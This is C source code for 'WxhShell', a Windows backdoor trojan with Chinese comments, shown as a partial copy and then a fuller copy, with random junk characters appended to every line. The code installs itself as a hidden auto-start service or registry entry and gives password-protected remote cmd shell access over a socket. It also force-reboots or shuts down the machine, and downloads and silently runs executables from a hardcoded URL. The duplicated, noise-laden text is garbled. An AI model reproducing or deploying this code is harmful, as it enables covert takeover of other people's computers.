    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fC>3{@h}*  
    if(Boot(SHUTDOWN)) <k)@PAV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); / /63?s+  
    else { 1:]iV}OFqR  
    closesocket(wsh); g_?:G$1H  
    ExitThread(0); c e`3&  
    } qMT7g LB'1  
    break; RD_IGV   
    }  B9IqX  
  // 获取shell E6(OEC%,  
  case 's': { }t!,{ZryE1  
    CmdShell(wsh); a nK7j2  
    closesocket(wsh); *sI`+4h[  
    ExitThread(0); 8 x$BbK  
    break; \ FW{&X9a  
  } 0{bGVLp  
  // 退出 s)Bmi  
  case 'x': { '`g#Zo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t5dk}sRF  
    CloseIt(wsh); MQc|j'vEY  
    break; fpbb <Ro  
    } '"C$E922  
  // 离开 2Qg.b- C  
  case 'q': { Vy-N3L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '^f,H1oW  
    closesocket(wsh); ?o'!(3`L  
    WSACleanup(); n_5m+ 1N  
    exit(1); Bw2-4K\"kc  
    break; D<9FSxl6  
        } q]F2bo  
  } T1TKwU8l  
  } b X.S`  
My'u('Q%  
  // 提示信息 ?c7 12a ?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PM3kI\:)m  
} jbx@ty  
  } \sB a  
fY3^L"R  
  return; EVc Ees  
} fD1J@57  
mY9^W2:  
// shell模块句柄 Mx<V;GPm  
int CmdShell(SOCKET sock) c>+l3&`  
{ .nCF`5T!  
STARTUPINFO si; 7\*_/[B  
ZeroMemory(&si,sizeof(si)); J6Uo+0S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *,g|I8?%VD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rUjK1A{V  
PROCESS_INFORMATION ProcessInfo; SaK aN#C  
char cmdline[]="cmd"; UFnz3vc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Zcq'u jU  
  return 0; JR/:XYS+  
} b4`t, D  
Ara D_D  
// 自身启动模式 le%&r  
int StartFromService(void) r7w1~z  
{ n}?XFx!%  
typedef struct ~"eos~AuW  
{ ZMO7 o 1"  
  DWORD ExitStatus; G+Ft2/+\  
  DWORD PebBaseAddress; A:$Qt%c  
  DWORD AffinityMask; 5Ug.J{d  
  DWORD BasePriority; 5~&9/ ALk5  
  ULONG UniqueProcessId; X yi[z tN  
  ULONG InheritedFromUniqueProcessId;  JvFd2@  
}   PROCESS_BASIC_INFORMATION; LQ T^1|nq  
XB  
PROCNTQSIP NtQueryInformationProcess; @~pIyy\_  
B"rV-,n{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QkbXm[K.Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uan%j]|q%  
r}k2n s9  
  HANDLE             hProcess; &,B\ig1Jf  
  PROCESS_BASIC_INFORMATION pbi; -#Xo^-&  
yPG,+uQ$.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wZ7Opm<nt  
  if(NULL == hInst ) return 0; _U}pdzX?  
A$gP: 1&m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Rlc$2y@pU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^ NZq1c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K|Sh  
,l-tLc  
  if (!NtQueryInformationProcess) return 0; o^P/ -&T  
ZmSe>}B=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G9'Wo.$ t  
  if(!hProcess) return 0; ;T1OXuQ  
$#R@x.=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Pn:L=*  
*o<zo `  
  CloseHandle(hProcess); wlc Cz  
gA 0:qEL\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w|$i<OIi)  
if(hProcess==NULL) return 0; i("ok  
f' |JLhs  
HMODULE hMod; TEQs\d  
char procName[255]; O$ dz=)  
unsigned long cbNeeded; VF8pH <  
{%g]Ym=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l /?Jp+]  
%JUD54bBt  
  CloseHandle(hProcess); 5>z`==N)  
8nzDLFxp_  
if(strstr(procName,"services")) return 1; // 以服务启动 m-V_J`9"  
>bQ'*!  
  return 0; // 注册表启动 a,<l_#'  
} J1P jMb}  
/)6+I(H  
// 主模块 quXL'g  
int StartWxhshell(LPSTR lpCmdLine) #mhR^60,  
{ 7l Q@I}i  
  SOCKET wsl; NDsF<2A4  
BOOL val=TRUE; X2CpA;#;7l  
  int port=0; ~mAv)JK  
  struct sockaddr_in door; H@ab]&  
|~)!8N.{  
  if(wscfg.ws_autoins) Install(); WI@l2`X  
{D6lS j  
port=atoi(lpCmdLine); ]w7wwU^^*U  
R@ksYC3 F  
if(port<=0) port=wscfg.ws_port; nPlg5&E  
05o +VF;z  
  WSADATA data; ^FO&GM2a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Er@'X0n  
TsiI5'tx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BO5\rRa0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +5AWX,9,-  
  door.sin_family = AF_INET; l@edR)n <  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {'O,G$Ldkr  
  door.sin_port = htons(port); jL^3/0"o  
e,J q<=j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #)A.yK`u  
closesocket(wsl); .W;,~.l  
return 1; ,3+#?H  
} UNK}!>HD  
_.)6~  
  if(listen(wsl,2) == INVALID_SOCKET) { 2c)Ez?  
closesocket(wsl); {=3&_/9s){  
return 1; 94uAt&&b(  
} T#M_2qJ1=  
  Wxhshell(wsl); ks3ydHe`  
  WSACleanup(); 3MqyHOOv  
mbSG  
return 0; yRd[ $p  
4%refqWK  
} @Z}TF/Rx4  
' ozu4y  
// 以NT服务方式启动 ^T>P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %s&"gWi  
{ 0j\} @  
DWORD   status = 0; }\#u~k!l  
  DWORD   specificError = 0xfffffff; :'6vIPN5  
;RR\ Hwix  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $p(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K9\r2w'T'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >`E (K X  
  serviceStatus.dwWin32ExitCode     = 0; &9j*Y  
  serviceStatus.dwServiceSpecificExitCode = 0; "`6pF8k  
  serviceStatus.dwCheckPoint       = 0; uV=ZGr#o  
  serviceStatus.dwWaitHint       = 0; C-2{<$2k  
YY4XCkt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k-CW?=  
  if (hServiceStatusHandle==0) return; lE=&hba  
dbe\ YE  
status = GetLastError(); 2E 0A`  
  if (status!=NO_ERROR) Z;'5A2  
{ {TOz}=R"3h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @~ 6,8nQ  
    serviceStatus.dwCheckPoint       = 0; ro}WBv  
    serviceStatus.dwWaitHint       = 0; /#Fz K  
    serviceStatus.dwWin32ExitCode     = status; K=K]R01/o  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4tA`,}ywPq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P 7`RAz  
    return; O3/w@q Q  
  } WALK@0E  
'&LH9r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }5b,u6  
  serviceStatus.dwCheckPoint       = 0; KA/ ~q"N  
  serviceStatus.dwWaitHint       = 0; (C9{|T+h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +,q#'wSQG  
} ~rfUqM]I   
]broU%#"  
// 处理NT服务事件,比如:启动、停止 R+&{lc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;owU]Xk%8K  
{ TdKo"H*C  
switch(fdwControl) };m.8(}$)  
{ q9gk:Jt  
case SERVICE_CONTROL_STOP: #Fkn-/nL  
  serviceStatus.dwWin32ExitCode = 0; G=( ja?d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QHHj.ZY  
  serviceStatus.dwCheckPoint   = 0; q;Rhx"x>T  
  serviceStatus.dwWaitHint     = 0; 1sNZl&  
  { ]K-B#D{P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tBjMm8lgb  
  } WupONrH1e  
  return; $ ?*XPzZ  
case SERVICE_CONTROL_PAUSE: Q$^)z_jai  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -n"7G%$M  
  break; w678  
case SERVICE_CONTROL_CONTINUE: ?{]"UnyVE*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Yc`PK =!l  
  break; $aC%&&+wG  
case SERVICE_CONTROL_INTERROGATE: {36QZV*P  
  break; BbG=vy8'l  
}; O5v~wLx9e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1$n!Lj=5  
} M2Zk1Z  
~P,@">}  
// 标准应用程序主函数 n2N:rP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #,S0uA  
{ =`EVg>+^  
&BOG&ot  
// 获取操作系统版本 } $oZZKS  
OsIsNt=GetOsVer(); DR<=C`<4(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hd ${I",  
k vF[d{l  
  // 从命令行安装 W@t{pXwLv  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0RF<:9@x2  
fO{'$?K  
  // 下载执行文件 zbZN-j#  
if(wscfg.ws_downexe) { OrRU$5Lo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -Gj."ks  
  WinExec(wscfg.ws_filenam,SW_HIDE); $h|8z  
} .2f0e[J  
)U +Pt98"  
if(!OsIsNt) { *@E&O^%cO  
// 如果时win9x,隐藏进程并且设置为注册表启动 %df[8eX{  
HideProc(); >>.4@  
StartWxhshell(lpCmdLine); #gSIa6z1W  
} 9xRor<  
else {1}p+dEK  
  if(StartFromService()) i:sb_U+M  
  // 以服务方式启动 }kF*I@:g  
  StartServiceCtrlDispatcher(DispatchTable); mNQ*YCq.  
else nV_[40KP_  
  // 普通方式启动 ^$;5ZkQy  
  StartWxhshell(lpCmdLine); !=p^@N7  
.B_a3K4'{^  
return 0; YPmgR]=6  
} (i@B+c  
EMw biGV  
fctVJ{?  
V_P,~!  
=========================================== /_ RrNzqy  
t }>"nr0  
en8l:INX  
AkX8v66:  
NGAjajB  
osPrr QoH  
" :rnj>U6<>  
s}Q*zy  
#include <stdio.h> v]U0@#/p  
#include <string.h> TIVrbO\!o  
#include <windows.h> nA.~}  
#include <winsock2.h> %)}y[ (  
#include <winsvc.h> pVC; ''E  
#include <urlmon.h> ~IS3i'bh  
;hkzL_' E)  
#pragma comment (lib, "Ws2_32.lib") !3Ed0h]Bfa  
#pragma comment (lib, "urlmon.lib") 8gXf4A(N  
+7$zL;ph=n  
#define MAX_USER   100 // 最大客户端连接数 e) kVS}e?  
#define BUF_SOCK   200 // sock buffer vFH1hm  
#define KEY_BUFF   255 // 输入 buffer (k<__W c_t  
(T8dh|  
#define REBOOT     0   // 重启 dL|*#e  
#define SHUTDOWN   1   // 关机 f1RX`rXf  
JAS!eF  
#define DEF_PORT   5000 // 监听端口 (E<QA  
/u pDbP.O  
#define REG_LEN     16   // 注册表键长度 h%!N!\  
#define SVC_LEN     80   // NT服务名长度 YnwP\Arfq  
r1AG1Y  
// 从dll定义API `t Zw(Z=h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X.)D"+xnH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tRmH6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^<v]x; 3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S1E=EVG  
V"W)u#4,  
// wxhshell配置信息 *S\/l-D  
struct WSCFG { :'K%&e?7s  
  int ws_port;         // 监听端口 t_{rKb,  
  char ws_passstr[REG_LEN]; // 口令 B$&&'i%  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z)dE#A_X  
  char ws_regname[REG_LEN]; // 注册表键名 hgI;^ia  
  char ws_svcname[REG_LEN]; // 服务名 |C3~Q{A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {on+ ;,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Jsw%.<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Bw*6X` 'Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /]hE?cmj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5 $:  q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YY9Ub  
;eiqzdP  
}; )NCSO b  
Qhsk09K_=4  
// default Wxhshell configuration 6^v HFJ$  
struct WSCFG wscfg={DEF_PORT, U=>4=gsG  
    "xuhuanlingzhe", Z*M-PaU}  
    1, sI#r3:?i  
    "Wxhshell", TptXH?  
    "Wxhshell", ="AJ &BqHd  
            "WxhShell Service", pb=yQ}.  
    "Wrsky Windows CmdShell Service", MP%pEUomev  
    "Please Input Your Password: ", 07qL@![!  
  1, Q0-}!5`E1$  
  "http://www.wrsky.com/wxhshell.exe", [y1 x`WOk9  
  "Wxhshell.exe" N83g=[  
    }; JN<IMH  
"M4 gl  
// 消息定义模块 Ilv _.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >TQnCG =  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &Ez]pKjB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; riY[p,  
char *msg_ws_ext="\n\rExit."; ma7@vD  
char *msg_ws_end="\n\rQuit."; ;sfk@ec  
char *msg_ws_boot="\n\rReboot..."; E|5lm  
char *msg_ws_poff="\n\rShutdown..."; drEND`,@6|  
char *msg_ws_down="\n\rSave to "; (Gpk;DD  
t9+ME|  
char *msg_ws_err="\n\rErr!"; V.12  
char *msg_ws_ok="\n\rOK!"; _)F0o C {  
?j-;;NNf  
char ExeFile[MAX_PATH]; /6d:l>4  
int nUser = 0; UJ1Ecob  
HANDLE handles[MAX_USER]; _.G p}0a  
int OsIsNt; 1)N{!w`  
k{d)'\FM  
SERVICE_STATUS       serviceStatus; o7WK"E!pF'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k=r)kkO)  
Fmux#}Z  
// 函数声明 g xf|L>=  
int Install(void); *w_f-YoXp  
int Uninstall(void); Oa#m}b  
int DownloadFile(char *sURL, SOCKET wsh); Mg}8 3kS  
int Boot(int flag); ? bnhx  
void HideProc(void); 4.}J'3 .  
int GetOsVer(void); z 8\;XR  
int Wxhshell(SOCKET wsl); K_t! P  
void TalkWithClient(void *cs); U2)y fhI  
int CmdShell(SOCKET sock); >Pw ZHY  
int StartFromService(void); \`$RY')9|!  
int StartWxhshell(LPSTR lpCmdLine); sCw X|  
EABy<i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'q9='TOk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 990sE t?  
X'KkIo :  
// 数据结构和表定义 9;k!dM  
SERVICE_TABLE_ENTRY DispatchTable[] = ^lCQHz  
{ %?~`'vYoi  
{wscfg.ws_svcname, NTServiceMain}, {'R\C5 :D7  
{NULL, NULL} OJ Y_u[  
}; 2E d  
X__>r ?oJ  
// 自我安装 I]OVzM  
int Install(void) E]26a,^L  
{ b+qdl`V d  
  char svExeFile[MAX_PATH]; A-XWG9nL  
  HKEY key; t:<dirw,o  
  strcpy(svExeFile,ExeFile); f*Dy>sw  
|)\{Rufb  
// 如果是win9x系统,修改注册表设为自启动 4_B1qN  
if(!OsIsNt) { BO 3%p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lavm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q'n]+%YN  
  RegCloseKey(key); !mtq?LV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rr0@F`"R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r:*0)UZlD  
  RegCloseKey(key); }xE}I<M  
  return 0; =9@t6   
    } 7)y9% -}  
  } (hv>vfY@  
} 5gnmRd  
else { ;zc,vs  
ON~K(O2g(  
// 如果是NT以上系统,安装为系统服务 3~&h9#7 Ke  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :4, OA  
if (schSCManager!=0) DHnu F@M  
{ _[_mmf1;:'  
  SC_HANDLE schService = CreateService @g~hYc  
  ( c5e  wG  
  schSCManager, ;[>g(W+  
  wscfg.ws_svcname, hRWRXC 9  
  wscfg.ws_svcdisp, DRUvQf  
  SERVICE_ALL_ACCESS, Ar:ezA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |KQkmc  
  SERVICE_AUTO_START, )^'g2gVK+p  
  SERVICE_ERROR_NORMAL, Z(=U ZI?  
  svExeFile, t@1 bu$y  
  NULL, zjVQ\L  
  NULL, !04zWYHo  
  NULL, yDdi+  
  NULL, gE~]^B{  
  NULL mtQlm5l  
  ); %oY=.Ok ]  
  if (schService!=0) Xzp!X({   
  { vuCl(/P`  
  CloseServiceHandle(schService); *He%%pk  
  CloseServiceHandle(schSCManager); h72#AN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 78[5@U  
  strcat(svExeFile,wscfg.ws_svcname); 0nbQKoF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *>,CG:`D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V<+= t{  
  RegCloseKey(key); D ^~G(m;-  
  return 0; yd-Kg zm8n  
    } 1VD8y_tC  
  } }&h* bim  
  CloseServiceHandle(schSCManager); #& 5}  
} M((]> *g  
} }#h>*+Q  
Q5:8$ C}+  
return 1; :J{| /"==  
} KS6H`Mm}/  
|d B`URP  
// 自我卸载  c>(`X@KL  
int Uninstall(void) #kt3l59Ty  
{ M_Qv{   
  HKEY key; J0eJRs  
,GH;jw)P  
if(!OsIsNt) { >){"x(4`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /QeJ#EHn  
  RegDeleteValue(key,wscfg.ws_regname); ic4mD:-up  
  RegCloseKey(key); D@cv{ _M/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O0Vtvbj  
  RegDeleteValue(key,wscfg.ws_regname); _FRwaFVJ3  
  RegCloseKey(key); And|T 6u  
  return 0; }>|M6.n "  
  } K3Wh F  
} .<Lbv5m  
} P e\AH  
else { =(^-s Jk  
]S=AO/'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0Ek + }`  
if (schSCManager!=0) /s\_"p  
{ 2unaK<1s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MzY~-74aF  
  if (schService!=0) .-Xp]>f,  
  { 'K9{xI@N  
  if(DeleteService(schService)!=0) { 69o,T`B  
  CloseServiceHandle(schService); ~baVS-v  
  CloseServiceHandle(schSCManager); APC,p,"  
  return 0; BV8-\R@  
  } ?1G7=R  
  CloseServiceHandle(schService); 79?%g=#=  
  } EMV<PshW=  
  CloseServiceHandle(schSCManager); w!=Fi  
} u6,NQ^4  
} I,:R~^qJ8v  
G q" [5r"  
return 1; R6N+c\W  
} Imi#$bF6  
.[ E"Kb}=  
// 从指定url下载文件 &s|a\!>l  
int DownloadFile(char *sURL, SOCKET wsh) |"Rl_+d7D  
{ b"t<B2N  
  HRESULT hr; ?)ROQ1-#@  
char seps[]= "/"; g@<E0 q&`$  
char *token; bHi0N@W!vG  
char *file; oBm^RHTZ  
char myURL[MAX_PATH]; R>ak 3Y  
char myFILE[MAX_PATH]; 1ud+~y$K  
NiCH$+c\  
strcpy(myURL,sURL); aa'u5<<W  
  token=strtok(myURL,seps); $p)7k   
  while(token!=NULL) L6xLD X7y  
  {  ;m;a"j5  
    file=token; Oh\ +cvbG  
  token=strtok(NULL,seps); :a 5#yh  
  } G9/5KW}-  
/-.i=o]b  
GetCurrentDirectory(MAX_PATH,myFILE); PyS~2)=B  
strcat(myFILE, "\\"); 4r&S&^  
strcat(myFILE, file); KVvzVQ1  
  send(wsh,myFILE,strlen(myFILE),0); h27awO Q  
send(wsh,"...",3,0); 33{(IzL0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WCg*TL}  
  if(hr==S_OK) %SwN/rna  
return 0; z g@,s"`>  
else (\Iz(N["G  
return 1; nY#V~^|  
wO&edZ]zb^  
} T\G2B*fGd  
M%3 \]&  
// 系统电源模块 rl\$a2_+  
int Boot(int flag) [F^qa/vJ10  
{ :`9hgd/9  
  HANDLE hToken; [BH^SvE  
  TOKEN_PRIVILEGES tkp; jWg7RuN  
~4YLPMGKl  
  if(OsIsNt) { {EoRY/]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #q06K2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uA} w?;  
    tkp.PrivilegeCount = 1; 7# /c7   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jL|y4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?HP54G<{xz  
if(flag==REBOOT) { ],fu#pi=]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QJcaOXyMS  
  return 0; zH1pW(  
} T[z]~MJL  
else { ;>eD`Wh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Myl!tXawe8  
  return 0; v{N4*P.0T  
} nPW?DbH +  
  } eYER "E  
  else { 'E4`qq  
if(flag==REBOOT) { !Od?69W, $  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Qg7rkRia  
  return 0; 4>uy+"8PO  
} 6N{V cfq  
else { P <$)v5f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Wz}8O]#/.  
  return 0; X}Ey6*D:  
} ~\4B 1n7  
} aKLA_-E  
dF d^@b  
return 1; D^?jLfW8  
} `m~x*)L#  
_^)Wrf+  
// win9x进程隐藏模块 *Cdw"n  
void HideProc(void) 6I$laHx?  
{ LP{{PT.&X  
aUdbN&G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \(nb >K  
  if ( hKernel != NULL ) -/#VD&MJO=  
  { SWAggW)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ; bBz<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5/v,|  
    FreeLibrary(hKernel); y^rcUPLT  
  } YF+hN\  
~*3obZ2>2  
return; 3'd(=hJ45$  
} J3]!<v=  
V~Zi #o  
// 获取操作系统版本 ]x8_f6;D  
int GetOsVer(void) h,Y!d]2w  
{ L[]*vj   
  OSVERSIONINFO winfo; F:PaVr3q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7,i}M  
  GetVersionEx(&winfo); 0ssKZ9Lc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *V\z]Dy-[  
  return 1; /Hox]r]'e  
  else iqzl(9o.D  
  return 0; vy ME  
} oD$8(  
*K9I+t"g  
// 客户端句柄模块 U4DQ+g(A  
int Wxhshell(SOCKET wsl) 0WasE1t|  
{ z7[TgL7  
  SOCKET wsh; ]Qo.X~]  
  struct sockaddr_in client; nkKiYr  
  DWORD myID; 56;(mbW  
)'<B\P/  
  while(nUser<MAX_USER) 9,?\hBEu  
{ Lx{bR=  
  int nSize=sizeof(client); KGMX >t'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `y&d  
  if(wsh==INVALID_SOCKET) return 1; ]=s!cfu  
|-WoR u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dDuT,zP  
if(handles[nUser]==0) M18H1e@Al  
  closesocket(wsh); "(@W^qF}d  
else zW`Zmt\T2  
  nUser++; b#**`Y  
  } ?4X8l@fR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;(a\F  
;j#$d@VG"  
  return 0; FmfPi .;1  
} ?'xTSAn  
"6T: &>  
// 关闭 socket 5ryzAB O\2  
void CloseIt(SOCKET wsh) ?;{fqeJz  
{ p*11aaIbp~  
closesocket(wsh); :ZP4(}  
nUser--; [x {S ,?6  
ExitThread(0); ]gN]Cw\L  
} Z_ Gb9  
Xx;RH9YYz  
// 客户端请求句柄 '%W'HqVcG1  
void TalkWithClient(void *cs) U6hT*126  
{ 4Xna}7  
<OKzb3e  
  SOCKET wsh=(SOCKET)cs; x+kP,v  
  char pwd[SVC_LEN]; -ff|Xxar{  
  char cmd[KEY_BUFF]; -{Lc?=  
char chr[1]; kI|Vv90l  
int i,j; FiTP-~  
<O`yM2/pS  
  while (nUser < MAX_USER) { M7Pvc%\)  
VZOf|o  
if(wscfg.ws_passstr) { R3MbTg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aZ$$a+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3pxm0|  
  //ZeroMemory(pwd,KEY_BUFF); ryz [A:^G  
      i=0; traJub  
  while(i<SVC_LEN) { oo{5 :  
\z}/=Qgc  
  // 设置超时 {x{/{{wzv  
  fd_set FdRead; Yp8~wdm  
  struct timeval TimeOut; /h4 ::,  
  FD_ZERO(&FdRead); pRsYA7Ti  
  FD_SET(wsh,&FdRead); KFCL|9P  
  TimeOut.tv_sec=8; cz8%p;F:  
  TimeOut.tv_usec=0; m6%csh-N1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jL$&]sQ`O)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fV-vy]x..  
 P]bq9!{1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V\ ud4  
  pwd=chr[0]; O[p;IG`  
  if(chr[0]==0xd || chr[0]==0xa) { Evz;eobW/  
  pwd=0; JHY0 J &4s  
  break; >*xa\ve  
  } 5XO eYO{  
  i++; ,"U8Fgf[r  
    } V?g@pnN"  
>Z#=<  
  // 如果是非法用户,关闭 socket Wsn}Y-x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RP]hW{:U  
} 1vcI`8%S+u  
M@a?j<7P,m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zu<8%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1Aq*|JSk(  
)7mX]@  
while(1) { y(pHt  
Ol>"'  
  ZeroMemory(cmd,KEY_BUFF); SrV+Ox  
;H#'9p,2  
      // 自动支持客户端 telnet标准   lFWN [`H  
  j=0; P)fv:a  
  while(j<KEY_BUFF) { q% Eze  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |Rr^K5hmD  
  cmd[j]=chr[0]; &a?&G'?  
  if(chr[0]==0xa || chr[0]==0xd) { &"dT/5}6  
  cmd[j]=0; KKm0@Y   
  break; %0]vW;Q5  
  } W)"PYC4  
  j++; ^(ks^<}  
    } VjU;[  
$9znRTFEj  
  // 下载文件 )!1; =   
  if(strstr(cmd,"http://")) { J@ x%TA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Sd;/yC8  
  if(DownloadFile(cmd,wsh)) 3F,$} r#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e&dE>m  
  else {mPalo A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }?,Gn]]  
  } |]a =He;  
  else { &Z682b$  
<uP>  
    switch(cmd[0]) { 8y}9X v  
  DXlP (={*  
  // 帮助 !g /&ws&  
  case '?': { .O [RE_j  
